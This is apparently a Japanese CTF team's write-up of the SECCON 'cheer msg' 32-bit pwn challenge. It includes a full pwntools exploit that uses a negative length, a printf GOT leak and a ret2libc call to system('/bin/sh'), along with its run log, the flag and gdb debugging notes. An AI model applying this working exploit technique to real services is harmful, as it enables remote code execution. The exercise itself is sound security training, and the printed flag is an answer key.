cheer msg

問題概要

ジャンル

Exploit

点数

100points

問題文

cheer msg
Host : cheermsg.pwn.seccon.jp
Port : 30527

cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)

フラグ

SECCON{N40.T_15_ju571c3}

挑戦者

K_atc
tkmru

解法

方針:

  • 1回目のmainではinformation leak→main再呼び出しして終わり
  • 2回目のmainでシェル呼び出し
from pwn import * from sys import argv # context.log_level = 'debug' def bp(): raw_input("break point: ") LOCAL = True if len(argv) > 1 and argv[1] == "r": LOCAL = False BIN = "./cheer_msg" """libc % readelf -s /usr/lib32/libc.so.6| grep " setbuf@@" 2266: 00066e20 25 FUNC GLOBAL DEFAULT 13 setbuf@@GLIBC_2.0 % readelf -s /usr/lib32/libc.so.6| grep " system@@" 1460: 0003af40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 % strings -tx /usr/lib32/libc.so.6| grep "/bin/sh$" 15ef08 /bin/sh [katc@K_atc cheer_msg]$ readelf -s libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep " system" 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 [katc@K_atc cheer_msg]$ readelf -s libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep " setbuf@@" 2246: 00067b20 35 FUNC GLOBAL DEFAULT 12 setbuf@@GLIBC_2.0 [katc@K_atc cheer_msg]$ strings -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "/bin/sh$" 16084c /bin/sh """ e = ELF(BIN) r = None offset = {} if LOCAL: r = process(BIN) offset = {"setbuf": 0x66e20, "system": 0x3af40, "/bin/sh": 0x15ef08} else: r = remote("cheermsg.pwn.seccon.jp", 30527) offset = {"setbuf": 0x67b20, "system": 0x40310, "/bin/sh": 0x16084c} EIP_OFFSET = 32 """stack layout ebp+0: "AAAA" # saved ebp ebp+4: printf # return address ebp+8: 0x804a00c # setbuf@plt.got ebp+c: main """ log.info("==== [information leak] ====") ROP = ''.join([ p32(e.symbols["printf"]), p32(e.symbols["main"]), # return address of printf(*) p32(0x804887d), # "\nThank you %s!\nMessage : %s\n" p32(0x804a00c), p32(0x804a00c), ]) r.recvuntil("Message Length >> ") r.sendline("-114") r.recvuntil("Name >> ") # bp() r.sendline("A" * 32 + ROP) # name r.recvuntil("Message : \n\n") ret = r.recvline()[:-2] # trim '!\n' print "ret = %r" % ret leaked_addr = u32(ret[10:14]) # len("Thank you ") print "setbuf() = %#x" % leaked_addr # bp() libc_base_addr = leaked_addr - offset["setbuf"] system_addr = libc_base_addr + offset["system"] binsh_addr = libc_base_addr + offset["/bin/sh"] print "==== [libc info] ====" print "libc base address = %#x" % libc_base_addr print "system = %#x" % system_addr print "'/bin/sh' = %#x" % binsh_addr print "=====================" log.info('==== [system("/bin/sh")] ====') ROP = ''.join([ p32(system_addr), # "A"*4, # return address of system(*) p32(binsh_addr), p32(binsh_addr), ]) r.recvuntil("Message Length >> ") r.sendline("-114") r.recvuntil("Name >> ") bp() r.sendline("A" * 32 + ROP) # name r.interactive()
[katc@K_atc cheer_msg]$ python2 cheer_msg.py r
[+] Opening connection to cheermsg.pwn.seccon.jp on port 30527: Done
[*] ==== [information leak] ====
ret = 'Thank you  \x0bc\xf7\x10da\xf7\xa0\xccb\xf7V\x84\x04\x08f\x84\x04\x08\xc0\xd0e\xf7\xd0\xbfd\xf7'
setbuf() = 0xf7630b20
==== [libc info] ====
libc base address = 0xf75c9000
system = 0xf7609310
'/bin/sh' = 0xf772984c
=====================
[*] ==== [system("/bin/sh")] ====
break point: 
[*] Switching to interactive mode

Thank you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x93`÷Lr÷Lr÷!
                                                           Message : 
$ ls
cheer_msg
flag.txt
run.sh
$ cat flag.txt
SECCON{N40.T_15_ju571c3}

議論

  • libc base address のリーク
  • EIPを取る
  • system("/bin/sh") を呼ぶ

Help!!

information leakできないように見える

% ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> 114 ←ユーザー入力(atoi)
Message >> tomori nao is awesome ←ユーザー入力(readline)

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> tomori nao ←ユーザー入力(readline)

Thank you tomori nao!
Message : tomori nao is awesome

案:

  • information leakからのret2vuln(main再呼び出し)
  • information leakする内容は__libc_start_main@plt.got

↓ボツ

[ROP]
ebp+0: 0x114514		# saved ebp
ebp+4: printf 		# return address
ebp+8: 0x804a00c		# setbuf@plt.got
ebp+c: main

printf@pltじゃなくてatoi@pltでもよくね?←いや無理だから

gdb-peda$ i func \@plt
All functions matching regular expression "\@plt":

Non-debugging symbols:
0x08048420  setbuf@plt
0x08048430  printf@plt
0x08048440  fgets@plt
0x08048450  __stack_chk_fail@plt
0x08048460  __gmon_start__@plt
0x08048470  strchr@plt
0x08048480  strlen@plt
0x08048490  __libc_start_main@plt
0x080484a0  atoi@plt
gdb-peda$ x/xw 0x804a00c
0x804a00c <setbuf@got.plt>: 0xf7e3de20

上の[ROP]を実行する直前

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffb3b6c0 ("\nThank you ", 'A' <repeats 32 times>, "0\204\004\b\f\240\004\bʅ\004\b!\nMessage : \n >> ge Length >> ")
EDX: 0xf7753850 --> 0x0 
ESI: 0x1 
EDI: 0xf7752000 --> 0x1b4d90 
EBP: 0xffb3dc08 ("AAAA0\204\004\b\f\240\004\bʅ\004\b")
ESP: 0xffb3dc3c --> 0x8048632 (<main+104>:  leave)
EIP: 0x80486bc (<message+128>:  ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486b4 <message+120>: je     0x80486bb <message+127>
   0x80486b6 <message+122>: call   0x8048450 <__stack_chk_fail@plt>
   0x80486bb <message+127>: leave  
=> 0x80486bc <message+128>: ret    
   0x80486bd <getnline>:    push   ebp
   0x80486be <getnline+1>:  mov    ebp,esp
   0x80486c0 <getnline+3>:  sub    esp,0x28
   0x80486c3 <getnline+6>:  mov    eax,ds:0x804a040
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486bc in message ()
gdb-peda$ telescope $ebp
0000| 0xffb3dc08 ("AAAA0\204\004\b\f\240\004\bʅ\004\b")
0004| 0xffb3dc0c --> 0x8048430 (<printf@plt>:   jmp    DWORD PTR ds:0x804a010)
0008| 0xffb3dc10 --> 0x804a00c --> 0xf7603e20 (<setbuf>:    sub    esp,0x10)
0012| 0xffb3dc14 --> 0x80485ca (<main>: lea    ecx,[esp+0x4])
0016| 0xffb3dc18 --> 0x0 
0020| 0xffb3dc1c --> 0xf75b5196 (<__libc_start_main+246>:   add    esp,0x10)
0024| 0xffb3dc20 --> 0x1 
0028| 0xffb3dc24 --> 0xffb3dcb4 --> 0xffb3f674 ("./cheer_msg")

試行s

length = -114、name = (pattcの出力文字列) で EIP取れた が、このままでは information leak不可

EAX: 0x0 
EBX: 0x0 
ECX: 0xffffaff0 ("\nThank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!\nMessage : \n")
EDX: 0xf7f8d850 --> 0x0 
ESI: 0x1 
EDI: 0xf7f8c000 --> 0x1b4d90 
EBP: 0x413b4141 ('AA;A')
ESP: 0xffffd540 ("EAAaAA0AAFAAbAA1AAGAAcAA2AA")
EIP: 0x41412941 ('A)AA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412941
[------------------------------------stack-------------------------------------]
0000| 0xffffd540 ("EAAaAA0AAFAAbAA1AAGAAcAA2AA")
0004| 0xffffd544 ("AA0AAFAAbAA1AAGAAcAA2AA")
0008| 0xffffd548 ("AFAAbAA1AAGAAcAA2AA")
0012| 0xffffd54c ("bAA1AAGAAcAA2AA")
0016| 0xffffd550 ("AAGAAcAA2AA")
0020| 0xffffd554 ("AcAA2AA")
0024| 0xffffd558 --> 0x414132 ('2AA')
0028| 0xffffd55c --> 0x86dce400 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412941 in ?? ()
gdb-peda$ patto 0x41412941
1094789441 found at offset: 32

length = 1145141919114514 で落ちる(ESP破壊)

[----------------------------------registers-----------------------------------]
EAX: 0x7fffffff 
EBX: 0x0 
ECX: 0x10 
EDX: 0xd ('\r')
ESI: 0x1 
EDI: 0xf7f8c000 --> 0x1b4d90 
EBP: 0xffffd538 --> 0x0 
ESP: 0x7fffd500 
EIP: 0x8048623 (<main+89>:  mov    DWORD PTR [esp+0x4],eax)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804861a <main+80>: shl    eax,0x4
   0x804861d <main+83>: mov    DWORD PTR [ebp-0xc],eax
   0x8048620 <main+86>: mov    eax,DWORD PTR [ebp-0x10]
=> 0x8048623 <main+89>: mov    DWORD PTR [esp+0x4],eax
   0x8048627 <main+93>: mov    eax,DWORD PTR [ebp-0xc]
   0x804862a <main+96>: mov    DWORD PTR [esp],eax
   0x804862d <main+99>: call   0x804863c <message>
   0x8048632 <main+104>:    leave
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x7fffd500
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08048623 in main ()
gdb-peda$ 

length = -1

 [----------------------------------registers-----------------------------------]
EAX: 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ")
EBX: 0x0 
ECX: 0x10 
EDX: 0xd ('\r')
ESI: 0x1 
EDI: 0xf7f8c000 --> 0x1b4d90 
EBP: 0xffffd538 --> 0x0 
ESP: 0xffffd500 --> 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ")
EIP: 0x804862d (<main+99>:  call   0x804863c <message>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048623 <main+89>: mov    DWORD PTR [esp+0x4],eax
   0x8048627 <main+93>: mov    eax,DWORD PTR [ebp-0xc]
   0x804862a <main+96>: mov    DWORD PTR [esp],eax
=> 0x804862d <main+99>: call   0x804863c <message>
   0x8048632 <main+104>:    leave  
   0x8048633 <main+105>:    ret    
   0x8048634 <main+106>:    nop
   0x8048635 <main+107>:    nop
Guessed arguments:
arg[0]: 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ")
arg[1]: 0xffffffff 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804862d in main ()